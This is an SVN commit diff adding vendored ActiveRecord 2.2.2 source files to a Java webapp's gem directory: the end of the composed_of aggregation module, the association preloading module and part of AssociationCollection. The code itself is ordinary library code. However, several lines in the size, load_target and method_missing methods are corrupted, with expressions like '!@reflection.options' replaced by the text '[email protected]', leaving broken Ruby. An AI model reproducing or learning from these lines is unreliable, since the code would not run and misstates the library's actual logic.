+    #   customer.address_street = "Hyancintvej"
+    #   customer.address_city   = "Copenhagen"
+    #   customer.address        # => Address.new("Hyancintvej", "Copenhagen")
+    #   customer.address = Address.new("May Street", "Chicago")
+    #   customer.address_street # => "May Street"
+    #   customer.address_city   # => "Chicago"
+    #
+    # == Writing value objects
+    #
+    # Value objects are immutable and interchangeable objects that represent a given value, such as a Money object representing
+    # $5. Two Money objects both representing $5 should be equal (through methods such as <tt>==</tt> and <tt><=></tt> from Comparable if ranking
+    # makes sense). This is unlike entity objects where equality is determined by identity. An entity class such as Customer can
+    # easily have two different objects that both have an address on Hyancintvej. Entity identity is determined by object or
+    # relational unique identifiers (such as primary keys). Normal ActiveRecord::Base classes are entity objects.
+    #
+    # It's also important to treat the value objects as immutable. Don't allow the Money object to have its amount changed after
+    # creation. Create a new Money object with the new value instead. This is exemplified by the Money#exchange_to method that
+    # returns a new value object instead of changing its own values. Active Record won't persist value objects that have been
+    # changed through means other than the writer method.
+    #
+    # The immutable requirement is enforced by Active Record by freezing any object assigned as a value object. Attempting to
+    # change it afterwards will result in a ActiveSupport::FrozenObjectError.
+    #
+    # Read more about value objects on http://c2.com/cgi/wiki?ValueObject and on the dangers of not keeping value objects
+    # immutable on http://c2.com/cgi/wiki?ValueObjectsShouldBeImmutable
+    #
+    # == Custom constructors and converters
+    #
+    # By default value objects are initialized by calling the <tt>new</tt> constructor of the value class passing each of the
+    # mapped attributes, in the order specified by the <tt>:mapping</tt> option, as arguments. If the value class doesn't support
+    # this convention then +composed_of+ allows a custom constructor to be specified.
+    #
+    # When a new value is assigned to the value object the default assumption is that the new value is an instance of the value
+    # class. Specifying a custom converter allows the new value to be automatically converted to an instance of value class if
+    # necessary.
+    #
+    # For example, the NetworkResource model has +network_address+ and +cidr_range+ attributes that should be aggregated using the
+    # NetAddr::CIDR value class (http://netaddr.rubyforge.org). The constructor for the value class is called +create+ and it
+    # expects a CIDR address string as a parameter. New values can be assigned to the value object using either another
+    # NetAddr::CIDR object, a string or an array. The <tt>:constructor</tt> and <tt>:converter</tt> options can be used to
+    # meet these requirements:
+    #
+    #   class NetworkResource < ActiveRecord::Base
+    #     composed_of :cidr,
+    #                 :class_name => 'NetAddr::CIDR',
+    #                 :mapping => [ %w(network_address network), %w(cidr_range bits) ],
+    #                 :allow_nil => true,
+    #                 :constructor => Proc.new { |network_address, cidr_range| NetAddr::CIDR.create("#{network_address}/#{cidr_range}") },
+    #                 :converter => Proc.new { |value| NetAddr::CIDR.create(value.is_a?(Array) ? value.join('/') : value) }
+    #   end
+    #
+    #   # This calls the :constructor
+    #   network_resource = NetworkResource.new(:network_address => '192.168.0.1', :cidr_range => 24)
+    #
+    #   # These assignments will both use the :converter
+    #   network_resource.cidr = [ '192.168.2.1', 8 ]
+    #   network_resource.cidr = '192.168.0.1/24'
+    #
+    #   # This assignment won't use the :converter as the value is already an instance of the value class
+    #   network_resource.cidr = NetAddr::CIDR.create('192.168.2.1/8')
+    #
+    #   # Saving and then reloading will use the :constructor on reload
+    #   network_resource.save
+    #   network_resource.reload
+    #
+    # == Finding records by a value object
+    #
+    # Once a +composed_of+ relationship is specified for a model, records can be loaded from the database by specifying an instance
+    # of the value object in the conditions hash. The following example finds all customers with +balance_amount+ equal to 20 and
+    # +balance_currency+ equal to "USD":
+    #
+    #   Customer.find(:all, :conditions => {:balance => Money.new(20, "USD")})
+    #
+    module ClassMethods
+      # Adds reader and writer methods for manipulating a value object:
+      # <tt>composed_of :address</tt> adds <tt>address</tt> and <tt>address=(new_address)</tt> methods.
+      #
+      # Options are:
+      # * <tt>:class_name</tt> - Specifies the class name of the association. Use it only if that name can't be inferred
+      #   from the part id. So <tt>composed_of :address</tt> will by default be linked to the Address class, but
+      #   if the real class name is CompanyAddress, you'll have to specify it with this option.
+      # * <tt>:mapping</tt> - Specifies the mapping of entity attributes to attributes of the value object. Each mapping
+      #   is represented as an array where the first item is the name of the entity attribute and the second item is the
+      #   name the attribute in the value object. The order in which mappings are defined determine the order in which
+      #   attributes are sent to the value class constructor.
+      # * <tt>:allow_nil</tt> - Specifies that the value object will not be instantiated when all mapped
+      #   attributes are +nil+.  Setting the value object to +nil+ has the effect of writing +nil+ to all mapped attributes.
+      #   This defaults to +false+.
+      # * <tt>:constructor</tt> - A symbol specifying the name of the constructor method or a Proc that is called to
+      #   initialize the value object. The constructor is passed all of the mapped attributes, in the order that they
+      #   are defined in the <tt>:mapping option</tt>, as arguments and uses them to instantiate a <tt>:class_name</tt> object.
+      #   The default is <tt>:new</tt>.
+      # * <tt>:converter</tt> - A symbol specifying the name of a class method of <tt>:class_name</tt> or a Proc that is
+      #   called when a new value is assigned to the value object. The converter is passed the single value that is used
+      #   in the assignment and is only called if the new value is not an instance of <tt>:class_name</tt>.
+      #
+      # Option examples:
+      #   composed_of :temperature, :mapping => %w(reading celsius)
+      #   composed_of :balance, :class_name => "Money", :mapping => %w(balance amount), :converter => Proc.new { |balance| balance.to_money }
+      #   composed_of :address, :mapping => [ %w(address_street street), %w(address_city city) ]
+      #   composed_of :gps_location
+      #   composed_of :gps_location, :allow_nil => true
+      #   composed_of :ip_address,
+      #               :class_name => 'IPAddr',
+      #               :mapping => %w(ip to_i),
+      #               :constructor => Proc.new { |ip| IPAddr.new(ip, Socket::AF_INET) },
+      #               :converter => Proc.new { |ip| ip.is_a?(Integer) ? IPAddr.new(ip, Socket::AF_INET) : IPAddr.new(ip.to_s) }
+      #
+      def composed_of(part_id, options = {}, &block)
+        options.assert_valid_keys(:class_name, :mapping, :allow_nil, :constructor, :converter)
+
+        name        = part_id.id2name
+        class_name  = options[:class_name]  || name.camelize
+        mapping     = options[:mapping]     || [ name, name ]
+        mapping     = [ mapping ] unless mapping.first.is_a?(Array)
+        allow_nil   = options[:allow_nil]   || false
+        constructor = options[:constructor] || :new
+        converter   = options[:converter]   || block
+
+        ActiveSupport::Deprecation.warn('The conversion block has been deprecated, use the :converter option instead.', caller) if block_given?
+
+        reader_method(name, class_name, mapping, allow_nil, constructor)
+        writer_method(name, class_name, mapping, allow_nil, converter)
+
+        create_reflection(:composed_of, part_id, options, self)
+      end
+
+      private
+        def reader_method(name, class_name, mapping, allow_nil, constructor)
+          module_eval do
+            define_method(name) do |*args|
+              force_reload = args.first || false
+              if (instance_variable_get("@#{name}").nil? || force_reload) && (!allow_nil || mapping.any? {|pair| !read_attribute(pair.first).nil? })
+                attrs = mapping.collect {|pair| read_attribute(pair.first)}
+                object = case constructor
+                  when Symbol
+                    class_name.constantize.send(constructor, *attrs)
+                  when Proc, Method
+                    constructor.call(*attrs)
+                  else
+                    raise ArgumentError, 'Constructor must be a symbol denoting the constructor method to call or a Proc to be invoked.'
+                  end
+                instance_variable_set("@#{name}", object)
+              end
+              instance_variable_get("@#{name}")
+            end
+          end
+
+        end
+
+        def writer_method(name, class_name, mapping, allow_nil, converter)
+          module_eval do
+            define_method("#{name}=") do |part|
+              if part.nil? && allow_nil
+                mapping.each { |pair| self[pair.first] = nil }
+                instance_variable_set("@#{name}", nil)
+              else
+                unless part.is_a?(class_name.constantize) || converter.nil?
+                  part = case converter
+                    when Symbol
+                     class_name.constantize.send(converter, part)
+                    when Proc, Method
+                      converter.call(part)
+                    else
+                      raise ArgumentError, 'Converter must be a symbol denoting the converter method to call or a Proc to be invoked.'
+                    end
+                end
+                mapping.each { |pair| self[pair.first] = part.send(pair.last) }
+                instance_variable_set("@#{name}", part.freeze)
+              end
+            end
+          end
+        end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/association_preload.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/association_preload.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/association_preload.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,374 @@
+module ActiveRecord
+  # See ActiveRecord::AssociationPreload::ClassMethods for documentation.
+  module AssociationPreload #:nodoc:
+    def self.included(base)
+      base.extend(ClassMethods)
+    end
+
+    # Implements the details of eager loading of ActiveRecord associations.
+    # Application developers should not use this module directly.
+    #
+    # ActiveRecord::Base is extended with this module. The source code in
+    # ActiveRecord::Base references methods defined in this module.
+    #
+    # Note that 'eager loading' and 'preloading' are actually the same thing.
+    # However, there are two different eager loading strategies.
+    #
+    # The first one is by using table joins. This was only strategy available
+    # prior to Rails 2.1. Suppose that you have an Author model with columns
+    # 'name' and 'age', and a Book model with columns 'name' and 'sales'. Using
+    # this strategy, ActiveRecord would try to retrieve all data for an author
+    # and all of its books via a single query:
+    #
+    #   SELECT * FROM authors
+    #   LEFT OUTER JOIN books ON authors.id = books.id
+    #   WHERE authors.name = 'Ken Akamatsu'
+    #
+    # However, this could result in many rows that contain redundant data. After
+    # having received the first row, we already have enough data to instantiate
+    # the Author object. In all subsequent rows, only the data for the joined
+    # 'books' table is useful; the joined 'authors' data is just redundant, and
+    # processing this redundant data takes memory and CPU time. The problem
+    # quickly becomes worse and worse as the level of eager loading increases
+    # (i.e. if ActiveRecord is to eager load the associations' assocations as
+    # well).
+    #
+    # The second strategy is to use multiple database queries, one for each
+    # level of association. Since Rails 2.1, this is the default strategy. In
+    # situations where a table join is necessary (e.g. when the +:conditions+
+    # option references an association's column), it will fallback to the table
+    # join strategy.
+    #
+    # See also ActiveRecord::Associations::ClassMethods, which explains eager
+    # loading in a more high-level (application developer-friendly) manner.
+    module ClassMethods
+      protected
+      
+      # Eager loads the named associations for the given ActiveRecord record(s).
+      #
+      # In this description, 'association name' shall refer to the name passed
+      # to an association creation method. For example, a model that specifies
+      # <tt>belongs_to :author</tt>, <tt>has_many :buyers</tt> has association
+      # names +:author+ and +:buyers+.
+      #
+      # == Parameters
+      # +records+ is an array of ActiveRecord::Base. This array needs not be flat,
+      # i.e. +records+ itself may also contain arrays of records. In any case,
+      # +preload_associations+ will preload the associations all records by
+      # flattening +records+.
+      #
+      # +associations+ specifies one or more associations that you want to
+      # preload. It may be:
+      # - a Symbol or a String which specifies a single association name. For
+      #   example, specifiying +:books+ allows this method to preload all books
+      #   for an Author.
+      # - an Array which specifies multiple association names. This array
+      #   is processed recursively. For example, specifying <tt>[:avatar, :books]</tt>
+      #   allows this method to preload an author's avatar as well as all of his
+      #   books.
+      # - a Hash which specifies multiple association names, as well as
+      #   association names for the to-be-preloaded association objects. For
+      #   example, specifying <tt>{ :author => :avatar }</tt> will preload a
+      #   book's author, as well as that author's avatar.
+      #
+      # +:associations+ has the same format as the +:include+ option for
+      # <tt>ActiveRecord::Base.find</tt>. So +associations+ could look like this:
+      #
+      #   :books
+      #   [ :books, :author ]
+      #   { :author => :avatar }
+      #   [ :books, { :author => :avatar } ]
+      #
+      # +preload_options+ contains options that will be passed to ActiveRecord#find
+      # (which is called under the hood for preloading records). But it is passed
+      # only one level deep in the +associations+ argument, i.e. it's not passed
+      # to the child associations when +associations+ is a Hash.
+      def preload_associations(records, associations, preload_options={})
+        records = [records].flatten.compact.uniq
+        return if records.empty?
+        case associations
+        when Array then associations.each {|association| preload_associations(records, association, preload_options)}
+        when Symbol, String then preload_one_association(records, associations.to_sym, preload_options)
+        when Hash then
+          associations.each do |parent, child|
+            raise "parent must be an association name" unless parent.is_a?(String) || parent.is_a?(Symbol)
+            preload_associations(records, parent, preload_options)
+            reflection = reflections[parent]
+            parents = records.map {|record| record.send(reflection.name)}.flatten
+            unless parents.empty? || parents.first.nil?
+              parents.first.class.preload_associations(parents, child)
+            end
+          end
+        end
+      end
+
+      private
+
+      # Preloads a specific named association for the given records. This is
+      # called by +preload_associations+ as its base case.
+      def preload_one_association(records, association, preload_options={})
+        class_to_reflection = {}
+        # Not all records have the same class, so group then preload
+        # group on the reflection itself so that if various subclass share the same association then we do not split them
+        # unnecessarily
+        records.group_by {|record| class_to_reflection[record.class] ||= record.class.reflections[association]}.each do |reflection, records|
+          raise ConfigurationError, "Association named '#{ association }' was not found; perhaps you misspelled it?" unless reflection
+          
+          # 'reflection.macro' can return 'belongs_to', 'has_many', etc. Thus,
+          # the following could call 'preload_belongs_to_association',
+          # 'preload_has_many_association', etc.
+          send("preload_#{reflection.macro}_association", records, reflection, preload_options)
+        end
+      end
+
+      def add_preloaded_records_to_collection(parent_records, reflection_name, associated_record)
+        parent_records.each do |parent_record|
+          association_proxy = parent_record.send(reflection_name)
+          association_proxy.loaded
+          association_proxy.target.push(*[associated_record].flatten)
+        end
+      end
+      
+      def add_preloaded_record_to_collection(parent_records, reflection_name, associated_record)
+        parent_records.each do |parent_record|
+          parent_record.send("set_#{reflection_name}_target", associated_record)
+        end
+      end
+
+      def set_association_collection_records(id_to_record_map, reflection_name, associated_records, key)
+        associated_records.each do |associated_record|
+          mapped_records = id_to_record_map[associated_record[key].to_s]
+          add_preloaded_records_to_collection(mapped_records, reflection_name, associated_record)
+        end
+      end
+
+      def set_association_single_records(id_to_record_map, reflection_name, associated_records, key)
+        seen_keys = {}
+        associated_records.each do |associated_record|
+          #this is a has_one or belongs_to: there should only be one record.
+          #Unfortunately we can't (in portable way) ask the database for 'all records where foo_id in (x,y,z), but please
+          # only one row per distinct foo_id' so this where we enforce that
+          next if seen_keys[associated_record[key].to_s]
+          seen_keys[associated_record[key].to_s] = true
+          mapped_records = id_to_record_map[associated_record[key].to_s]
+          mapped_records.each do |mapped_record|
+            mapped_record.send("set_#{reflection_name}_target", associated_record)
+          end
+        end
+      end
+
+      # Given a collection of ActiveRecord objects, constructs a Hash which maps
+      # the objects' IDs to the relevant objects. Returns a 2-tuple
+      # <tt>(id_to_record_map, ids)</tt> where +id_to_record_map+ is the Hash,
+      # and +ids+ is an Array of record IDs.
+      def construct_id_map(records, primary_key=nil)
+        id_to_record_map = {}
+        ids = []
+        records.each do |record|
+          primary_key ||= record.class.primary_key
+          ids << record[primary_key]
+          mapped_records = (id_to_record_map[ids.last.to_s] ||= [])
+          mapped_records << record
+        end
+        ids.uniq!
+        return id_to_record_map, ids
+      end
+
+      def preload_has_and_belongs_to_many_association(records, reflection, preload_options={})
+        table_name = reflection.klass.quoted_table_name
+        id_to_record_map, ids = construct_id_map(records)
+        records.each {|record| record.send(reflection.name).loaded}
+        options = reflection.options
+
+        conditions = "t0.#{reflection.primary_key_name} #{in_or_equals_for_ids(ids)}"
+        conditions << append_conditions(reflection, preload_options)
+
+        associated_records = reflection.klass.find(:all, :conditions => [conditions, ids],
+        :include => options[:include],
+        :joins => "INNER JOIN #{connection.quote_table_name options[:join_table]} as t0 ON #{reflection.klass.quoted_table_name}.#{reflection.klass.primary_key} = t0.#{reflection.association_foreign_key}",
+        :select => "#{options[:select] || table_name+'.*'}, t0.#{reflection.primary_key_name} as the_parent_record_id",
+        :order => options[:order])
+
+        set_association_collection_records(id_to_record_map, reflection.name, associated_records, 'the_parent_record_id')
+      end
+
+      def preload_has_one_association(records, reflection, preload_options={})
+        return if records.first.send("loaded_#{reflection.name}?")
+        id_to_record_map, ids = construct_id_map(records)        
+        options = reflection.options
+        records.each {|record| record.send("set_#{reflection.name}_target", nil)}
+        if options[:through]
+          through_records = preload_through_records(records, reflection, options[:through])
+          through_reflection = reflections[options[:through]]
+          through_primary_key = through_reflection.primary_key_name
+          unless through_records.empty?
+            source = reflection.source_reflection.name
+            through_records.first.class.preload_associations(through_records, source)
+            through_records.each do |through_record|
+              add_preloaded_record_to_collection(id_to_record_map[through_record[through_primary_key].to_s],
+                                                 reflection.name, through_record.send(source))
+            end
+          end
+        else
+          set_association_single_records(id_to_record_map, reflection.name, find_associated_records(ids, reflection, preload_options), reflection.primary_key_name)
+        end
+      end
+
+      def preload_has_many_association(records, reflection, preload_options={})
+        return if records.first.send(reflection.name).loaded?
+        options = reflection.options
+
+        primary_key_name = reflection.through_reflection_primary_key_name
+        id_to_record_map, ids = construct_id_map(records, primary_key_name)
+        records.each {|record| record.send(reflection.name).loaded}
+
+        if options[:through]
+          through_records = preload_through_records(records, reflection, options[:through])
+          through_reflection = reflections[options[:through]]
+          unless through_records.empty?
+            source = reflection.source_reflection.name
+            through_records.first.class.preload_associations(through_records, source, options)
+            through_records.each do |through_record|
+              through_record_id = through_record[reflection.through_reflection_primary_key].to_s
+              add_preloaded_records_to_collection(id_to_record_map[through_record_id], reflection.name, through_record.send(source))
+            end
+          end
+
+        else
+          set_association_collection_records(id_to_record_map, reflection.name, find_associated_records(ids, reflection, preload_options),
+                                             reflection.primary_key_name)
+        end
+      end
+      
+      def preload_through_records(records, reflection, through_association)
+        through_reflection = reflections[through_association]
+        through_primary_key = through_reflection.primary_key_name
+
+        if reflection.options[:source_type]
+          interface = reflection.source_reflection.options[:foreign_type]
+          preload_options = {:conditions => ["#{connection.quote_column_name interface} = ?", reflection.options[:source_type]]}
+
+          records.compact!
+          records.first.class.preload_associations(records, through_association, preload_options)
+
+          # Dont cache the association - we would only be caching a subset
+          through_records = []
+          records.each do |record|
+            proxy = record.send(through_association)
+
+            if proxy.respond_to?(:target)
+              through_records << proxy.target
+              proxy.reset
+            else # this is a has_one :through reflection
+              through_records << proxy if proxy
+            end
+          end
+          through_records.flatten!
+        else
+          records.first.class.preload_associations(records, through_association)
+          through_records = records.map {|record| record.send(through_association)}.flatten
+        end
+        through_records.compact!
+        through_records
+      end
+
+      def preload_belongs_to_association(records, reflection, preload_options={})
+        return if records.first.send("loaded_#{reflection.name}?")
+        options = reflection.options
+        primary_key_name = reflection.primary_key_name
+
+        if options[:polymorphic]
+          polymorph_type = options[:foreign_type]
+          klasses_and_ids = {}
+
+          # Construct a mapping from klass to a list of ids to load and a mapping of those ids back to their parent_records
+          records.each do |record|
+            if klass = record.send(polymorph_type)
+              klass_id = record.send(primary_key_name)
+              if klass_id
+                id_map = klasses_and_ids[klass] ||= {}
+                id_list_for_klass_id = (id_map[klass_id.to_s] ||= [])
+                id_list_for_klass_id << record
+              end
+            end
+          end
+          klasses_and_ids = klasses_and_ids.to_a
+        else
+          id_map = {}
+          records.each do |record|
+            key = record.send(primary_key_name)
+            if key
+              mapped_records = (id_map[key.to_s] ||= [])
+              mapped_records << record
+            end
+          end
+          klasses_and_ids = [[reflection.klass.name, id_map]]
+        end
+
+        klasses_and_ids.each do |klass_and_id|
+          klass_name, id_map = *klass_and_id
+          klass = klass_name.constantize
+
+          table_name = klass.quoted_table_name
+          primary_key = klass.primary_key
+          column_type = klass.columns.detect{|c| c.name == primary_key}.type
+          ids = id_map.keys.map do |id|
+            if column_type == :integer
+              id.to_i
+            elsif column_type == :float
+              id.to_f
+            else
+              id
+            end
+          end
+          conditions = "#{table_name}.#{connection.quote_column_name(primary_key)} #{in_or_equals_for_ids(ids)}"
+          conditions << append_conditions(reflection, preload_options)
+          associated_records = klass.find(:all, :conditions => [conditions, ids],
+                                          :include => options[:include],
+                                          :select => options[:select],
+                                          :joins => options[:joins],
+                                          :order => options[:order])
+          set_association_single_records(id_map, reflection.name, associated_records, primary_key)
+        end
+      end
+
+      def find_associated_records(ids, reflection, preload_options)
+        options = reflection.options
+        table_name = reflection.klass.quoted_table_name
+
+        if interface = reflection.options[:as]
+          conditions = "#{reflection.klass.quoted_table_name}.#{connection.quote_column_name "#{interface}_id"} #{in_or_equals_for_ids(ids)} and #{reflection.klass.quoted_table_name}.#{connection.quote_column_name "#{interface}_type"} = '#{self.base_class.sti_name}'"
+        else
+          foreign_key = reflection.primary_key_name
+          conditions = "#{reflection.klass.quoted_table_name}.#{foreign_key} #{in_or_equals_for_ids(ids)}"
+        end
+
+        conditions << append_conditions(reflection, preload_options)
+
+        reflection.klass.find(:all,
+                              :select => (preload_options[:select] || options[:select] || "#{table_name}.*"),
+                              :include => preload_options[:include] || options[:include],
+                              :conditions => [conditions, ids],
+                              :joins => options[:joins],
+                              :group => preload_options[:group] || options[:group],
+                              :order => preload_options[:order] || options[:order])
+      end
+
+
+      def interpolate_sql_for_preload(sql)
+        instance_eval("%@#{sql.gsub('@', '\@')}@")
+      end
+
+      def append_conditions(reflection, preload_options)
+        sql = ""
+        sql << " AND (#{interpolate_sql_for_preload(reflection.sanitized_conditions)})" if reflection.sanitized_conditions
+        sql << " AND (#{sanitize_sql preload_options[:conditions]})" if preload_options[:conditions]
+        sql
+      end
+
+      def in_or_equals_for_ids(ids)
+        ids.size > 1 ? "IN (?)" : "= ?"
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/associations/association_collection.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/associations/association_collection.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/associations/association_collection.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,453 @@
+require 'set'
+
+module ActiveRecord
+  module Associations
+    # AssociationCollection is an abstract class that provides common stuff to
+    # ease the implementation of association proxies that represent
+    # collections. See the class hierarchy in AssociationProxy.
+    #
+    # You need to be careful with assumptions regarding the target: The proxy
+    # does not fetch records from the database until it needs them, but new
+    # ones created with +build+ are added to the target. So, the target may be
+    # non-empty and still lack children waiting to be read from the database.
+    # If you look directly to the database you cannot assume that's the entire
+    # collection because new records may have beed added to the target, etc.
+    #
+    # If you need to work on all current children, new and existing records,
+    # +load_target+ and the +loaded+ flag are your friends.
+    class AssociationCollection < AssociationProxy #:nodoc:
+      def initialize(owner, reflection)
+        super
+        construct_sql
+      end
+      
+      def find(*args)
+        options = args.extract_options!
+
+        # If using a custom finder_sql, scan the entire collection.
+        if @reflection.options[:finder_sql]
+          expects_array = args.first.kind_of?(Array)
+          ids           = args.flatten.compact.uniq.map { |arg| arg.to_i }
+
+          if ids.size == 1
+            id = ids.first
+            record = load_target.detect { |r| id == r.id }
+            expects_array ? [ record ] : record
+          else
+            load_target.select { |r| ids.include?(r.id) }
+          end
+        else
+          conditions = "#{@finder_sql}"
+          if sanitized_conditions = sanitize_sql(options[:conditions])
+            conditions << " AND (#{sanitized_conditions})"
+          end
+          
+          options[:conditions] = conditions
+
+          if options[:order] && @reflection.options[:order]
+            options[:order] = "#{options[:order]}, #{@reflection.options[:order]}"
+          elsif @reflection.options[:order]
+            options[:order] = @reflection.options[:order]
+          end
+          
+          # Build options specific to association
+          construct_find_options!(options)
+          
+          merge_options_from_reflection!(options)
+          
+          # Pass through args exactly as we received them.
+          args << options
+          @reflection.klass.find(*args)
+        end
+      end
+      
+      # Fetches the first one using SQL if possible.
+      def first(*args)
+        if fetch_first_or_last_using_find?(args)
+          find(:first, *args)
+        else
+          load_target unless loaded?
+          @target.first(*args)
+        end
+      end
+
+      # Fetches the last one using SQL if possible.
+      def last(*args)
+        if fetch_first_or_last_using_find?(args)
+          find(:last, *args)
+        else
+          load_target unless loaded?
+          @target.last(*args)
+        end
+      end
+
+      def to_ary
+        load_target
+        @target.to_ary
+      end
+
+      def reset
+        reset_target!
+        @loaded = false
+      end
+
+      def build(attributes = {}, &block)
+        if attributes.is_a?(Array)
+          attributes.collect { |attr| build(attr, &block) }
+        else
+          build_record(attributes) do |record|
+            block.call(record) if block_given?
+            set_belongs_to_association_for(record)
+          end
+        end
+      end
+
+      # Add +records+ to this association.  Returns +self+ so method calls may be chained.  
+      # Since << flattens its argument list and inserts each record, +push+ and +concat+ behave identically.
+      def <<(*records)
+        result = true
+        load_target if @owner.new_record?
+
+        transaction do
+          flatten_deeper(records).each do |record|
+            raise_on_type_mismatch(record)
+            add_record_to_target_with_callbacks(record) do |r|
+              result &&= insert_record(record) unless @owner.new_record?
+            end
+          end
+        end
+
+        result && self
+      end
+
+      alias_method :push, :<<
+      alias_method :concat, :<<
+
+      # Starts a transaction in the association class's database connection.
+      #
+      #   class Author < ActiveRecord::Base
+      #     has_many :books
+      #   end
+      #
+      #   Author.find(:first).books.transaction do
+      #     # same effect as calling Book.transaction
+      #   end
+      def transaction(*args)
+        @reflection.klass.transaction(*args) do
+          yield
+        end
+      end
+
+      # Remove all records from this association
+      def delete_all
+        load_target
+        delete(@target)
+        reset_target!
+      end
+      
+      # Calculate sum using SQL, not Enumerable
+      def sum(*args)
+        if block_given?
+          calculate(:sum, *args) { |*block_args| yield(*block_args) }
+        else
+          calculate(:sum, *args)
+        end
+      end
+
+      # Count all records using SQL. If the +:counter_sql+ option is set for the association, it will
+      # be used for the query. If no +:counter_sql+ was supplied, but +:finder_sql+ was set, the
+      # descendant's +construct_sql+ method will have set :counter_sql automatically.
+      # Otherwise, construct options and pass them with scope to the target class's +count+.
+      def count(*args)
+        if @reflection.options[:counter_sql]
+          @reflection.klass.count_by_sql(@counter_sql)
+        else
+          column_name, options = @reflection.klass.send(:construct_count_options_from_args, *args)
+          if @reflection.options[:uniq]
+            # This is needed because 'SELECT count(DISTINCT *)..' is not valid SQL.
+            column_name = "#{@reflection.quoted_table_name}.#{@reflection.klass.primary_key}" if column_name == :all
+            options.merge!(:distinct => true)
+          end
+
+          value = @reflection.klass.send(:with_scope, construct_scope) { @reflection.klass.count(column_name, options) }
+
+          limit  = @reflection.options[:limit]
+          offset = @reflection.options[:offset]
+
+          if limit || offset
+            [ [value - offset.to_i, 0].max, limit.to_i ].min
+          else
+            value
+          end
+        end
+      end
+
+
+      # Removes +records+ from this association calling +before_remove+ and
+      # +after_remove+ callbacks.
+      #
+      # This method is abstract in the sense that +delete_records+ has to be
+      # provided by descendants. Note this method does not imply the records
+      # are actually removed from the database, that depends precisely on
+      # +delete_records+. They are in any case removed from the collection.
+      def delete(*records)
+        records = flatten_deeper(records)
+        records.each { |record| raise_on_type_mismatch(record) }
+        
+        transaction do
+          records.each { |record| callback(:before_remove, record) }
+          
+          old_records = records.reject {|r| r.new_record? }
+          delete_records(old_records) if old_records.any?
+          
+          records.each do |record|
+            @target.delete(record)
+            callback(:after_remove, record)
+          end
+        end
+      end
+
+      # Removes all records from this association.  Returns +self+ so method calls may be chained.
+      def clear
+        return self if length.zero? # forces load_target if it hasn't happened already
+
+        if @reflection.options[:dependent] && @reflection.options[:dependent] == :destroy
+          destroy_all
+        else          
+          delete_all
+        end
+
+        self
+      end
+      
+      def destroy_all
+        transaction do
+          each { |record| record.destroy }
+        end
+
+        reset_target!
+      end
+      
+      def create(attrs = {})
+        if attrs.is_a?(Array)
+          attrs.collect { |attr| create(attr) }
+        else
+          create_record(attrs) do |record|
+            yield(record) if block_given?
+            record.save
+          end
+        end
+      end
+
+      def create!(attrs = {})
+        create_record(attrs) do |record|
+          yield(record) if block_given?
+          record.save!
+        end
+      end
+
+      # Returns the size of the collection by executing a SELECT COUNT(*)
+      # query if the collection hasn't been loaded, and calling
+      # <tt>collection.size</tt> if it has.
+      #
+      # If the collection has been already loaded +size+ and +length+ are
+      # equivalent. If not and you are going to need the records anyway
+      # +length+ will take one less query. Otherwise +size+ is more efficient.
+      #
+      # This method is abstract in the sense that it relies on
+      # +count_records+, which is a method descendants have to provide.
+      def size
+        if @owner.new_record? || (loaded? && [email protected][:uniq])
+          @target.size
+        elsif !loaded? && @reflection.options[:group]
+          load_target.size
+        elsif !loaded? && [email protected][:uniq] && @target.is_a?(Array)
+          unsaved_records = @target.select { |r| r.new_record? }
+          unsaved_records.size + count_records
+        else
+          count_records
+        end
+      end
+
+      # Returns the size of the collection calling +size+ on the target.
+      #
+      # If the collection has been already loaded +length+ and +size+ are
+      # equivalent. If not and you are going to need the records anyway this
+      # method will take one less query. Otherwise +size+ is more efficient.
+      def length
+        load_target.size
+      end
+
+      # Equivalent to <tt>collection.size.zero?</tt>. If the collection has
+      # not been already loaded and you are going to fetch the records anyway
+      # it is better to check <tt>collection.length.zero?</tt>.
+      def empty?
+        size.zero?
+      end
+
+      def any?
+        if block_given?
+          method_missing(:any?) { |*block_args| yield(*block_args) }
+        else
+          !empty?
+        end
+      end
+
+      def uniq(collection = self)
+        seen = Set.new
+        collection.inject([]) do |kept, record|
+          unless seen.include?(record.id)
+            kept << record
+            seen << record.id
+          end
+          kept
+        end
+      end
+
+      # Replace this collection with +other_array+
+      # This will perform a diff and delete/add only records that have changed.
+      def replace(other_array)
+        other_array.each { |val| raise_on_type_mismatch(val) }
+
+        load_target
+        other   = other_array.size < 100 ? other_array : other_array.to_set
+        current = @target.size < 100 ? @target : @target.to_set
+
+        transaction do
+          delete(@target.select { |v| !other.include?(v) })
+          concat(other_array.select { |v| !current.include?(v) })
+        end
+      end
+
+      def include?(record)
+        return false unless record.is_a?(@reflection.klass)
+        load_target if @reflection.options[:finder_sql] && !loaded?
+        return @target.include?(record) if loaded?
+        exists?(record)
+      end
+
+      def proxy_respond_to?(method, include_private = false)
+        super || @reflection.klass.respond_to?(method, include_private)
+      end
+
+      protected
+        def construct_find_options!(options)
+        end
+        
+        def load_target
+          if [email protected]_record? || foreign_key_present
+            begin
+              if !loaded?
+                if @target.is_a?(Array) && @target.any?
+                  @target = find_target + @target.find_all {|t| t.new_record? }
+                else
+                  @target = find_target
+                end
+              end
+            rescue ActiveRecord::RecordNotFound
+              reset
+            end
+          end
+
+          loaded if target
+          target
+        end
+        
+        def method_missing(method, *args)
+          if @target.respond_to?(method) || ([email protected]_to?(method) && Class.respond_to?(method))
+            if block_given?
+              super { |*block_args| yield(*block_args) }
+            else
+              super
+            end
+          elsif @reflection.klass.scopes.include?(method)
+            @reflection.klass.scopes[method].call(self, *args)
+          else          
+            with_scope(construct_scope) do
+              if block_given?
+                @reflection.klass.send(method, *args) { |*block_args| yield(*block_args) }
+              else
+                @reflection.klass.send(method, *args)
+              end
+            end
+          end
+        end
+
+        # overloaded in derived Association classes to provide useful scoping depending on association type.
+        def construct_scope
+          {}
+        end
+
